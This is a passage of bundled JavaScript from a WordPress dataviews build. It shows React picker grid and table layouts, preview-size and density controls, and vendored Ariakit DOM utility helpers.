27779 const hasData = !!data?.length;
27780 const usedPreviewSize = view.layout?.previewSize;
27781 const isMultiselect = useIsMultiselectPicker(actions);
27782 const size = "900px";
27783 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
27784 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
27785 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
27786 const currentPage = view?.page ?? 1;
27787 const perPage = view?.perPage ?? 0;
27788 const setSize = isInfiniteScroll ? paginationInfo?.totalItems : void 0;
27789 return /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(import_jsx_runtime202.Fragment, {
27790 // Render multiple groups.
27791 children: [
27792 hasData && groupField && dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27793 import_components105.Composite,
27794 {
27795 virtualFocus: true,
27796 orientation: "horizontal",
27797 role: "listbox",
27798 "aria-multiselectable": isMultiselect,
27799 className: clsx_default(
27800 "dataviews-view-picker-grid",
27801 className
27802 ),
27803 "aria-label": itemListLabel,
27804 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27805 Stack,
27806 {
27807 direction: "column",
27808 gap: "lg",
27809 children,
27810 ...props
27811 }
27812 ),
27813 children: Array.from(dataByGroup.entries()).map(
27814 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27815 GridGroup,
27816 {
27817 groupName,
27818 groupField,
27819 showLabel: view.groupBy?.showLabel !== false,
27820 children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27821 GridItems,
27822 {
27823 previewSize: usedPreviewSize,
27824 style: {
27825 gridTemplateColumns: usedPreviewSize && `repeat(auto-fill, minmax(${usedPreviewSize}px, 1fr))`
27826 },
27827 "aria-busy": isLoading,
27828 ref: resizeObserverRef,
27829 children: groupItems.map((item) => {
27830 const posInSet = (currentPage - 1) * perPage + data.indexOf(item) + 1;
27831 return /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27832 GridItem3,
27833 {
27834 view,
27835 multiselect: isMultiselect,
27836 selection,
27837 onChangeSelection,
27838 getItemId: getItemId2,
27839 item,
27840 mediaField,
27841 titleField,
27842 descriptionField: descriptionField2,
27843 regularFields,
27844 badgeFields,
27845 config: {
27846 sizes: size
27847 },
27848 posinset: posInSet,
27849 setsize: setSize
27850 },
27851 getItemId2(item)
27852 );
27853 })
27854 }
27855 )
27856 },
27857 groupName
27858 )
27859 )
27860 }
27861 ),
27862 // Render a single grid with all data.
27863 hasData && !dataByGroup && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27864 import_components105.Composite,
27865 {
27866 render: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27867 GridItems,
27868 {
27869 className: clsx_default(
27870 "dataviews-view-picker-grid",
27871 className
27872 ),
27873 previewSize: usedPreviewSize,
27874 "aria-busy": isLoading,
27875 ref: resizeObserverRef
27876 }
27877 ),
27878 virtualFocus: true,
27879 orientation: "horizontal",
27880 role: "listbox",
27881 "aria-multiselectable": isMultiselect,
27882 "aria-label": itemListLabel,
27883 children: data.map((item, index) => {
27884 let posinset = isInfiniteScroll ? index + 1 : void 0;
27885 if (!isInfiniteScroll) {
27886 posinset = (currentPage - 1) * perPage + index + 1;
27887 }
27888 return /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27889 GridItem3,
27890 {
27891 view,
27892 multiselect: isMultiselect,
27893 selection,
27894 onChangeSelection,
27895 getItemId: getItemId2,
27896 item,
27897 mediaField,
27898 titleField,
27899 descriptionField: descriptionField2,
27900 regularFields,
27901 badgeFields,
27902 config: {
27903 sizes: size
27904 },
27905 posinset,
27906 setsize: setSize
27907 },
27908 getItemId2(item)
27909 );
27910 })
27911 }
27912 ),
27913 // Render empty state.
27914 !hasData && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27915 "div",
27916 {
27917 className: clsx_default({
27918 "dataviews-loading": isLoading,
27919 "dataviews-no-results": !isLoading
27920 }),
27921 children: isLoading ? /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(import_components105.Spinner, {}) }) : empty
27922 }
27923 ),
27924 hasData && isLoading && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(import_components105.Spinner, {}) })
27925 ]
27926 });
27927 }
27928 var picker_grid_default = ViewPickerGrid;
27929
27930 // packages/dataviews/build-module/components/dataviews-layouts/picker-table/index.mjs
27931 var import_i18n100 = __toESM(require_i18n(), 1);
27932 var import_components106 = __toESM(require_components(), 1);
27933 var import_element86 = __toESM(require_element(), 1);
27934 var import_jsx_runtime203 = __toESM(require_jsx_runtime(), 1);
27935 function TableColumnField2({
27936 item,
27937 fields,
27938 column,
27939 align
27940 }) {
27941 const field = fields.find((f2) => f2.id === column);
27942 if (!field) {
27943 return null;
27944 }
27945 const className = clsx_default("dataviews-view-table__cell-content-wrapper", {
27946 "dataviews-view-table__cell-align-end": align === "end",
27947 "dataviews-view-table__cell-align-center": align === "center"
27948 });
27949 return /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("div", { className, children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(field.render, { item, field }) });
27950 }
27951 function TableRow2({
27952 item,
27953 fields,
27954 id,
27955 view,
27956 titleField,
27957 mediaField,
27958 descriptionField: descriptionField2,
27959 selection,
27960 getItemId: getItemId2,
27961 onChangeSelection,
27962 multiselect,
27963 posinset
27964 }) {
27965 const { paginationInfo } = (0, import_element86.useContext)(dataviews_context_default);
27966 const isSelected2 = selection.includes(id);
27967 const [isHovered, setIsHovered] = (0, import_element86.useState)(false);
27968 const {
27969 showTitle = true,
27970 showMedia = true,
27971 showDescription = true,
27972 infiniteScrollEnabled
27973 } = view;
27974 const handleMouseEnter = () => {
27975 setIsHovered(true);
27976 };
27977 const handleMouseLeave = () => {
27978 setIsHovered(false);
27979 };
27980 const columns = view.fields ?? [];
27981 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
27982 return /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(
27983 import_components106.Composite.Item,
27984 {
27985 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
27986 "tr",
27987 {
27988 className: clsx_default("dataviews-view-table__row", {
27989 "is-selected": isSelected2,
27990 "is-hovered": isHovered
27991 }),
27992 onMouseEnter: handleMouseEnter,
27993 onMouseLeave: handleMouseLeave,
27994 children,
27995 ...props
27996 }
27997 ),
27998 "aria-selected": isSelected2,
27999 "aria-setsize": paginationInfo.totalItems || void 0,
28000 "aria-posinset": posinset,
28001 role: infiniteScrollEnabled ? "article" : "option",
28002 onClick: () => {
28003 if (isSelected2) {
28004 onChangeSelection(
28005 selection.filter((itemId) => id !== itemId)
28006 );
28007 } else {
28008 const newSelection = multiselect ? [...selection, id] : [id];
28009 onChangeSelection(newSelection);
28010 }
28011 },
28012 children: [
28013 /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28014 "td",
28015 {
28016 className: "dataviews-view-table__checkbox-column",
28017 role: "presentation",
28018 children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("div", { className: "dataviews-view-table__cell-content-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28019 DataViewsSelectionCheckbox,
28020 {
28021 item,
28022 selection,
28023 onChangeSelection,
28024 getItemId: getItemId2,
28025 titleField,
28026 disabled: false,
28027 "aria-hidden": true,
28028 tabIndex: -1
28029 }
28030 ) })
28031 }
28032 ),
28033 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("td", { role: "presentation", children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28034 column_primary_default,
28035 {
28036 item,
28037 titleField: showTitle ? titleField : void 0,
28038 mediaField: showMedia ? mediaField : void 0,
28039 descriptionField: showDescription ? descriptionField2 : void 0,
28040 isItemClickable: () => false
28041 }
28042 ) }),
28043 columns.map((column) => {
28044 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
28045 return /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28046 "td",
28047 {
28048 style: {
28049 width,
28050 maxWidth,
28051 minWidth
28052 },
28053 role: "presentation",
28054 children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28055 TableColumnField2,
28056 {
28057 fields,
28058 item,
28059 column,
28060 align
28061 }
28062 )
28063 },
28064 column
28065 );
28066 })
28067 ]
28068 },
28069 id
28070 );
28071 }
28072 function ViewPickerTable({
28073 actions,
28074 data,
28075 fields,
28076 getItemId: getItemId2,
28077 isLoading = false,
28078 onChangeView,
28079 onChangeSelection,
28080 selection,
28081 setOpenedFilter,
28082 view,
28083 className,
28084 empty
28085 }) {
28086 const headerMenuRefs = (0, import_element86.useRef)(/* @__PURE__ */ new Map());
28087 const headerMenuToFocusRef = (0, import_element86.useRef)(void 0);
28088 const [nextHeaderMenuToFocus, setNextHeaderMenuToFocus] = (0, import_element86.useState)();
28089 const isMultiselect = useIsMultiselectPicker(actions) ?? false;
28090 (0, import_element86.useEffect)(() => {
28091 if (headerMenuToFocusRef.current) {
28092 headerMenuToFocusRef.current.focus();
28093 headerMenuToFocusRef.current = void 0;
28094 }
28095 });
28096 const tableNoticeId = (0, import_element86.useId)();
28097 if (nextHeaderMenuToFocus) {
28098 headerMenuToFocusRef.current = nextHeaderMenuToFocus;
28099 setNextHeaderMenuToFocus(void 0);
28100 return;
28101 }
28102 const onHide = (field) => {
28103 const hidden = headerMenuRefs.current.get(field.id);
28104 const fallback = hidden ? headerMenuRefs.current.get(hidden.fallback) : void 0;
28105 setNextHeaderMenuToFocus(fallback?.node);
28106 };
28107 const hasData = !!data?.length;
28108 const titleField = fields.find((field) => field.id === view.titleField);
28109 const mediaField = fields.find((field) => field.id === view.mediaField);
28110 const descriptionField2 = fields.find(
28111 (field) => field.id === view.descriptionField
28112 );
28113 const groupField = view.groupBy?.field ? fields.find((f2) => f2.id === view.groupBy?.field) : null;
28114 const dataByGroup = groupField ? getDataByGroup(data, groupField) : null;
28115 const { showTitle = true, showMedia = true, showDescription = true } = view;
28116 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
28117 const columns = view.fields ?? [];
28118 const headerMenuRef = (column, index) => (node) => {
28119 if (node) {
28120 headerMenuRefs.current.set(column, {
28121 node,
28122 fallback: columns[index > 0 ? index - 1 : 1]
28123 });
28124 } else {
28125 headerMenuRefs.current.delete(column);
28126 }
28127 };
28128 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
28129 return /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(import_jsx_runtime203.Fragment, { children: [
28130 /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(
28131 "table",
28132 {
28133 className: clsx_default(
28134 "dataviews-view-table",
28135 "dataviews-view-picker-table",
28136 className,
28137 {
28138 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
28139 view.layout.density
28140 )
28141 }
28142 ),
28143 "aria-busy": isLoading,
28144 "aria-describedby": tableNoticeId,
28145 role: isInfiniteScroll ? "feed" : "listbox",
28146 children: [
28147 /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("thead", { role: "presentation", children: /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(
28148 "tr",
28149 {
28150 className: "dataviews-view-table__row",
28151 role: "presentation",
28152 children: [
28153 /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("th", { className: "dataviews-view-table__checkbox-column", children: isMultiselect && /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28154 BulkSelectionCheckbox,
28155 {
28156 selection,
28157 onChangeSelection,
28158 data,
28159 actions,
28160 getItemId: getItemId2
28161 }
28162 ) }),
28163 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("th", { children: titleField && /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28164 column_header_menu_default,
28165 {
28166 ref: headerMenuRef(
28167 titleField.id,
28168 0
28169 ),
28170 fieldId: titleField.id,
28171 view,
28172 fields,
28173 onChangeView,
28174 onHide,
28175 setOpenedFilter,
28176 canMove: false
28177 }
28178 ) }),
28179 columns.map((column, index) => {
28180 const { width, maxWidth, minWidth, align } = view.layout?.styles?.[column] ?? {};
28181 return /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28182 "th",
28183 {
28184 style: {
28185 width,
28186 maxWidth,
28187 minWidth,
28188 textAlign: align
28189 },
28190 "aria-sort": view.sort?.direction && view.sort?.field === column ? sortValues[view.sort.direction] : void 0,
28191 scope: "col",
28192 children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28193 column_header_menu_default,
28194 {
28195 ref: headerMenuRef(column, index),
28196 fieldId: column,
28197 view,
28198 fields,
28199 onChangeView,
28200 onHide,
28201 setOpenedFilter,
28202 canMove: view.layout?.enableMoving ?? true
28203 }
28204 )
28205 },
28206 column
28207 );
28208 })
28209 ]
28210 }
28211 ) }),
28212 hasData && groupField && dataByGroup ? Array.from(dataByGroup.entries()).map(
28213 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(
28214 import_components106.Composite,
28215 {
28216 virtualFocus: true,
28217 orientation: "vertical",
28218 render: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("tbody", { role: "group" }),
28219 children: [
28220 /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28221 "tr",
28222 {
28223 className: "dataviews-view-table__group-header-row",
28224 role: "presentation",
28225 children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28226 "td",
28227 {
28228 colSpan: columns.length + (hasPrimaryColumn ? 1 : 0) + 1,
28229 className: "dataviews-view-table__group-header-cell",
28230 role: "presentation",
28231 children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n100.sprintf)(
28232 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
28233 (0, import_i18n100.__)("%1$s: %2$s"),
28234 groupField.label,
28235 groupName
28236 )
28237 }
28238 )
28239 }
28240 ),
28241 groupItems.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28242 TableRow2,
28243 {
28244 item,
28245 fields,
28246 id: getItemId2(item) || index.toString(),
28247 view,
28248 titleField,
28249 mediaField,
28250 descriptionField: descriptionField2,
28251 selection,
28252 getItemId: getItemId2,
28253 onChangeSelection,
28254 multiselect: isMultiselect
28255 },
28256 getItemId2(item)
28257 ))
28258 ]
28259 },
28260 `group-${groupName}`
28261 )
28262 ) : /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28263 import_components106.Composite,
28264 {
28265 render: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("tbody", { role: "presentation" }),
28266 virtualFocus: true,
28267 orientation: "vertical",
28268 children: hasData && data.map((item, index) => /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(
28269 TableRow2,
28270 {
28271 item,
28272 fields,
28273 id: getItemId2(item) || index.toString(),
28274 view,
28275 titleField,
28276 mediaField,
28277 descriptionField: descriptionField2,
28278 selection,
28279 getItemId: getItemId2,
28280 onChangeSelection,
28281 multiselect: isMultiselect,
28282 posinset: index + 1
28283 },
28284 getItemId2(item)
28285 ))
28286 }
28287 )
28288 ]
28289 }
28290 ),
28291 /* @__PURE__ */ (0, import_jsx_runtime203.jsxs)(
28292 "div",
28293 {
28294 className: clsx_default({
28295 "dataviews-loading": isLoading,
28296 "dataviews-no-results": !hasData && !isLoading
28297 }),
28298 id: tableNoticeId,
28299 children: [
28300 !hasData && (isLoading ? /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_components106.Spinner, {}) }) : empty),
28301 hasData && isLoading && /* @__PURE__ */ (0, import_jsx_runtime203.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(import_components106.Spinner, {}) })
28302 ]
28303 }
28304 )
28305 ] });
28306 }
28307 var picker_table_default = ViewPickerTable;
28308
28309 // packages/dataviews/build-module/components/dataviews-layouts/utils/preview-size-picker.mjs
28310 var import_components107 = __toESM(require_components(), 1);
28311 var import_i18n101 = __toESM(require_i18n(), 1);
28312 var import_element87 = __toESM(require_element(), 1);
28313 var import_jsx_runtime204 = __toESM(require_jsx_runtime(), 1);
28314 var imageSizes2 = [
28315 {
28316 value: 120,
28317 breakpoint: 1
28318 },
28319 {
28320 value: 170,
28321 breakpoint: 1
28322 },
28323 {
28324 value: 230,
28325 breakpoint: 1
28326 },
28327 {
28328 value: 290,
28329 breakpoint: 1112
28330 // at minimum image width, 4 images display at this container size
28331 },
28332 {
28333 value: 350,
28334 breakpoint: 1636
28335 // at minimum image width, 6 images display at this container size
28336 },
28337 {
28338 value: 430,
28339 breakpoint: 588
28340 // at minimum image width, 2 images display at this container size
28341 }
28342 ];
28343 function PreviewSizePicker() {
28344 const context = (0, import_element87.useContext)(dataviews_context_default);
28345 const view = context.view;
28346 const breakValues = imageSizes2.filter((size) => {
28347 return context.containerWidth >= size.breakpoint;
28348 });
28349 const layoutPreviewSize = view.layout?.previewSize ?? 230;
28350 const previewSizeToUse = breakValues.map((size, index) => ({ ...size, index })).filter((size) => size.value <= layoutPreviewSize).sort((a2, b2) => b2.value - a2.value)[0]?.index ?? 0;
28351 const marks = breakValues.map((size, index) => {
28352 return {
28353 value: index
28354 };
28355 });
28356 return /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(
28357 import_components107.RangeControl,
28358 {
28359 __next40pxDefaultSize: true,
28360 showTooltip: false,
28361 label: (0, import_i18n101.__)("Preview size"),
28362 value: previewSizeToUse,
28363 min: 0,
28364 max: breakValues.length - 1,
28365 withInputField: false,
28366 onChange: (value = 0) => {
28367 context.onChangeView({
28368 ...view,
28369 layout: {
28370 ...view.layout,
28371 previewSize: breakValues[value].value
28372 }
28373 });
28374 },
28375 step: 1,
28376 marks
28377 }
28378 );
28379 }
28380
28381 // packages/dataviews/build-module/components/dataviews-layouts/utils/density-picker.mjs
28382 var import_components108 = __toESM(require_components(), 1);
28383 var import_i18n102 = __toESM(require_i18n(), 1);
28384 var import_element88 = __toESM(require_element(), 1);
28385 var import_jsx_runtime205 = __toESM(require_jsx_runtime(), 1);
28386 function DensityPicker() {
28387 const context = (0, import_element88.useContext)(dataviews_context_default);
28388 const view = context.view;
28389 return /* @__PURE__ */ (0, import_jsx_runtime205.jsxs)(
28390 import_components108.__experimentalToggleGroupControl,
28391 {
28392 size: "__unstable-large",
28393 label: (0, import_i18n102.__)("Density"),
28394 value: view.layout?.density || "balanced",
28395 onChange: (value) => {
28396 context.onChangeView({
28397 ...view,
28398 layout: {
28399 ...view.layout,
28400 density: value
28401 }
28402 });
28403 },
28404 isBlock: true,
28405 children: [
28406 /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(
28407 import_components108.__experimentalToggleGroupControlOption,
28408 {
28409 value: "comfortable",
28410 label: (0, import_i18n102._x)(
28411 "Comfortable",
28412 "Density option for DataView layout"
28413 )
28414 },
28415 "comfortable"
28416 ),
28417 /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(
28418 import_components108.__experimentalToggleGroupControlOption,
28419 {
28420 value: "balanced",
28421 label: (0, import_i18n102._x)("Balanced", "Density option for DataView layout")
28422 },
28423 "balanced"
28424 ),
28425 /* @__PURE__ */ (0, import_jsx_runtime205.jsx)(
28426 import_components108.__experimentalToggleGroupControlOption,
28427 {
28428 value: "compact",
28429 label: (0, import_i18n102._x)("Compact", "Density option for DataView layout")
28430 },
28431 "compact"
28432 )
28433 ]
28434 }
28435 );
28436 }
28437
28438 // packages/dataviews/build-module/components/dataviews-layouts/index.mjs
28439 var VIEW_LAYOUTS = [
28440 {
28441 type: LAYOUT_TABLE2,
28442 label: (0, import_i18n103.__)("Table"),
28443 component: table_default,
28444 icon: block_table_default,
28445 viewConfigOptions: DensityPicker
28446 },
28447 {
28448 type: LAYOUT_GRID2,
28449 label: (0, import_i18n103.__)("Grid"),
28450 component: grid_default,
28451 icon: category_default,
28452 viewConfigOptions: PreviewSizePicker
28453 },
28454 {
28455 type: LAYOUT_LIST2,
28456 label: (0, import_i18n103.__)("List"),
28457 component: ViewList,
28458 icon: (0, import_i18n103.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
28459 viewConfigOptions: DensityPicker
28460 },
28461 {
28462 type: LAYOUT_ACTIVITY,
28463 label: (0, import_i18n103.__)("Activity"),
28464 component: ViewActivity,
28465 icon: scheduled_default,
28466 viewConfigOptions: DensityPicker
28467 },
28468 {
28469 type: LAYOUT_PICKER_GRID,
28470 label: (0, import_i18n103.__)("Grid"),
28471 component: picker_grid_default,
28472 icon: category_default,
28473 viewConfigOptions: PreviewSizePicker,
28474 isPicker: true
28475 },
28476 {
28477 type: LAYOUT_PICKER_TABLE,
28478 label: (0, import_i18n103.__)("Table"),
28479 component: picker_table_default,
28480 icon: block_table_default,
28481 viewConfigOptions: DensityPicker,
28482 isPicker: true
28483 }
28484 ];
28485
28486 // packages/dataviews/build-module/components/dataviews-filters/filters.mjs
28487 var import_element96 = __toESM(require_element(), 1);
28488
28489 // packages/dataviews/build-module/components/dataviews-filters/filter.mjs
28490 var import_components111 = __toESM(require_components(), 1);
28491 var import_i18n106 = __toESM(require_i18n(), 1);
28492 var import_element93 = __toESM(require_element(), 1);
28493
28494 // node_modules/@ariakit/core/esm/__chunks/XMCVU3LR.js
28495 function noop3(..._) {
28496 }
28497 function applyState(argument, currentValue) {
28498 if (isUpdater(argument)) {
28499 const value = isLazyValue(currentValue) ? currentValue() : currentValue;
28500 return argument(value);
28501 }
28502 return argument;
28503 }
28504 function isUpdater(argument) {
28505 return typeof argument === "function";
28506 }
28507 function isLazyValue(value) {
28508 return typeof value === "function";
28509 }
28510 function hasOwnProperty(object, prop) {
28511 if (typeof Object.hasOwn === "function") {
28512 return Object.hasOwn(object, prop);
28513 }
28514 return Object.prototype.hasOwnProperty.call(object, prop);
28515 }
28516 function chain(...fns) {
28517 return (...args) => {
28518 for (const fn of fns) {
28519 if (typeof fn === "function") {
28520 fn(...args);
28521 }
28522 }
28523 };
28524 }
28525 function normalizeString2(str) {
28526 return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
28527 }
28528 function omit(object, keys) {
28529 const result = { ...object };
28530 for (const key of keys) {
28531 if (hasOwnProperty(result, key)) {
28532 delete result[key];
28533 }
28534 }
28535 return result;
28536 }
28537 function pick(object, paths) {
28538 const result = {};
28539 for (const key of paths) {
28540 if (hasOwnProperty(object, key)) {
28541 result[key] = object[key];
28542 }
28543 }
28544 return result;
28545 }
28546 function identity(value) {
28547 return value;
28548 }
28549 function invariant(condition, message2) {
28550 if (condition) return;
28551 if (typeof message2 !== "string") throw new Error("Invariant failed");
28552 throw new Error(message2);
28553 }
28554 function getKeys(obj) {
28555 return Object.keys(obj);
28556 }
28557 function isFalsyBooleanCallback(booleanOrCallback, ...args) {
28558 const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
28559 if (result == null) return false;
28560 return !result;
28561 }
28562 function disabledFromProps(props) {
28563 return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
28564 }
28565 function removeUndefinedValues(obj) {
28566 const result = {};
28567 for (const key in obj) {
28568 if (obj[key] !== void 0) {
28569 result[key] = obj[key];
28570 }
28571 }
28572 return result;
28573 }
28574 function defaultValue(...values) {
28575 for (const value of values) {
28576 if (value !== void 0) return value;
28577 }
28578 return void 0;
28579 }
28580
28581 // node_modules/@ariakit/react-core/esm/__chunks/YXGXYGQX.js
28582 var import_react8 = __toESM(require_react(), 1);
28583 function setRef(ref, value) {
28584 if (typeof ref === "function") {
28585 ref(value);
28586 } else if (ref) {
28587 ref.current = value;
28588 }
28589 }
28590 function isValidElementWithRef(element) {
28591 if (!element) return false;
28592 if (!(0, import_react8.isValidElement)(element)) return false;
28593 if ("ref" in element.props) return true;
28594 if ("ref" in element) return true;
28595 return false;
28596 }
28597 function getRefProperty(element) {
28598 if (!isValidElementWithRef(element)) return null;
28599 const props = { ...element.props };
28600 return props.ref || element.ref;
28601 }
28602 function mergeProps2(base, overrides) {
28603 const props = { ...base };
28604 for (const key in overrides) {
28605 if (!hasOwnProperty(overrides, key)) continue;
28606 if (key === "className") {
28607 const prop = "className";
28608 props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
28609 continue;
28610 }
28611 if (key === "style") {
28612 const prop = "style";
28613 props[prop] = base[prop] ? { ...base[prop], ...overrides[prop] } : overrides[prop];
28614 continue;
28615 }
28616 const overrideValue = overrides[key];
28617 if (typeof overrideValue === "function" && key.startsWith("on")) {
28618 const baseValue = base[key];
28619 if (typeof baseValue === "function") {
28620 props[key] = (...args) => {
28621 overrideValue(...args);
28622 baseValue(...args);
28623 };
28624 continue;
28625 }
28626 }
28627 props[key] = overrideValue;
28628 }
28629 return props;
28630 }
28631
28632 // node_modules/@ariakit/core/esm/__chunks/3DNM6L6E.js
28633 var canUseDOM = checkIsBrowser();
28634 function checkIsBrowser() {
28635 var _a;
28636 return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
28637 }
28638 function getDocument(node) {
28639 if (!node) return document;
28640 if ("self" in node) return node.document;
28641 return node.ownerDocument || document;
28642 }
28643 function getActiveElement(node, activeDescendant = false) {
28644 var _a;
28645 const { activeElement } = getDocument(node);
28646 if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
28647 return null;
28648 }
28649 if (isFrame(activeElement) && ((_a = activeElement.contentDocument) == null ? void 0 : _a.body)) {
28650 return getActiveElement(
28651 activeElement.contentDocument.body,
28652 activeDescendant
28653 );
28654 }
28655 if (activeDescendant) {
28656 const id = activeElement.getAttribute("aria-activedescendant");
28657 if (id) {
28658 const element = getDocument(activeElement).getElementById(id);
28659 if (element) {
28660 return element;
28661 }
28662 }
28663 }
28664 return activeElement;
28665 }
28666 function contains(parent, child) {
28667 return parent === child || parent.contains(child);
28668 }
28669 function isFrame(element) {
28670 return element.tagName === "IFRAME";
28671 }
28672 function isButton(element) {
28673 const tagName = element.tagName.toLowerCase();
28674 if (tagName === "button") return true;
28675 if (tagName === "input" && element.type) {
28676 return buttonInputTypes.indexOf(element.type) !== -1;
28677 }
28678 return false;
28679 }
28680 var buttonInputTypes = [
28681 "button",
28682 "color",
28683 "file",
28684 "image",
28685 "reset",
28686 "submit"
28687 ];
28688 function isVisible(element) {
28689 if (typeof element.checkVisibility === "function") {
28690 return element.checkVisibility();
28691 }
28692 const htmlElement = element;
28693 return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
28694 }
28695 function isTextField(element) {
28696 try {
28697 const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
28698 const isTextArea = element.tagName === "TEXTAREA";
28699 return isTextInput || isTextArea || false;
28700 } catch (_error) {
28701 return false;
28702 }
28703 }
28704 function isTextbox(element) {
28705 return element.isContentEditable || isTextField(element);
28706 }
28707 function getTextboxValue(element) {
28708 if (isTextField(element)) {
28709 return element.value;
28710 }
28711 if (element.isContentEditable) {
28712 const range = getDocument(element).createRange();
28713 range.selectNodeContents(element);
28714 return range.toString();
28715 }
28716 return "";
28717 }
28718 function getTextboxSelection(element) {
28719 let start2 = 0;
28720 let end = 0;
28721 if (isTextField(element)) {
28722 start2 = element.selectionStart || 0;
28723 end = element.selectionEnd || 0;
28724 } else if (element.isContentEditable) {
28725 const selection = getDocument(element).getSelection();
28726 if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
28727 const range = selection.getRangeAt(0);
28728 const nextRange = range.cloneRange();
28729 nextRange.selectNodeContents(element);
28730 nextRange.setEnd(range.startContainer, range.startOffset);
28731 start2 = nextRange.toString().length;
28732 nextRange.setEnd(range.endContainer, range.endOffset);
28733 end = nextRange.toString().length;
28734 }
28735 }
28736 return { start: start2, end };
28737 }
28738 function getPopupRole(element, fallback) {
28739 const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
28740 const role = element == null ? void 0 : element.getAttribute("role");
28741 if (role && allowedPopupRoles.indexOf(role) !== -1) {
28742 return role;
28743 }
28744 return fallback;
28745 }
28746 function getScrollingElement(element) {
28747 if (!element) return null;
28748 const isScrollableOverflow = (overflow) => {
28749 if (overflow === "auto") return true;
28750 if (overflow === "scroll") return true;
28751 return false;
28752 };
28753 if (element.clientHeight && element.scrollHeight > element.clientHeight) {
28754 const { overflowY } = getComputedStyle(element);
28755 if (isScrollableOverflow(overflowY)) return element;
28756 } else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
28757 const { overflowX } = getComputedStyle(element);
28758 if (isScrollableOverflow(overflowX)) return element;
28759 }
28760 return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
28761 }
28762 function setSelectionRange(element, ...args) {
28763 if (/text|search|password|tel|url/i.test(element.type)) {
28764 element.setSelectionRange(...args);
28765 }
28766 }
28767 function sortBasedOnDOMPosition(items, getElement) {
28768 const pairs = items.map((item, index) => [index, item]);
28769 let isOrderDifferent = false;
28770 pairs.sort(([indexA, a2], [indexB, b2]) => {
28771 const elementA = getElement(a2);
28772 const elementB = getElement(b2);
28773 if (elementA === elementB) return 0;
28774 if (!elementA || !elementB) return 0;
28775 if (isElementPreceding(elementA, elementB)) {
28776 if (indexA > indexB) {
28777 isOrderDifferent = true;
28778 }
